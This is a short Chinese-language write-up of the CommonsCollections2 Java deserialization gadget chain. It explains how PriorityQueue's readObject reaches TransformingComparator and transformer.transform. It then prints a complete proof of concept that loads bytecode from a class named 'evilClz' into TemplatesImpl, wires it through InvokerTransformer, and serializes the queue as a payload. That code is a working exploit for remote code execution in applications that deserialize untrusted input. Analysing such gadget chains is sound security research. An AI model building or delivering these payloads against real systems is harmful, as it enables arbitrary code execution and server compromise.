基于 commons-collections4
核心是 java.util.PriorityQueue 和 org.apache.commons.collections4.comparators.TransformingComparator
PriorityQueue 顾名思义是一个优先级队列,他有如下特质:
- 拥有readObject方法
- 在readObject时会将队列元素有序排列
- 就会有如下的调用, 最终会调用到一个compartor.
heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare()
TransformingComparator 就是一个comparator, 并且可以序列化, 
看其名字是与transform有关的, 可以发现在其compare方法中会调用到 this.transformer.transform(obj1)
这样就不难理解这个链了, 构造恶意的transformers链然后放到TransformingComparator, 再把PriorityQueue的比较器设置为恶意的Comparator即可.
完整POC:
package test.com.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import test.com.Reflections;import java.util.PriorityQueue;import org.apache.commons.collections4.comparators.TransformingComparator;import test.com.Serializer;public class cc2 {public static byte[] payload() throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ct = pool.get(bad.evilClz.class.getName());byte[] shellcode = ct.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});Reflections.setFieldValue(tmpl,"_name","testName");Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(tmpl),new InvokerTransformer("newTransformer",null,null),};Transformer transformerChain = new ChainedTransformer(new Transformer[]{});TransformingComparator tc = new TransformingComparator(transformerChain);PriorityQueue pq = new PriorityQueue(100,tc);pq.add(1);pq.add(1);pq.add(1);Reflections.setFieldValue(transformerChain,"iTransformers",transformers);return Serializer.Serialize(pq);}}
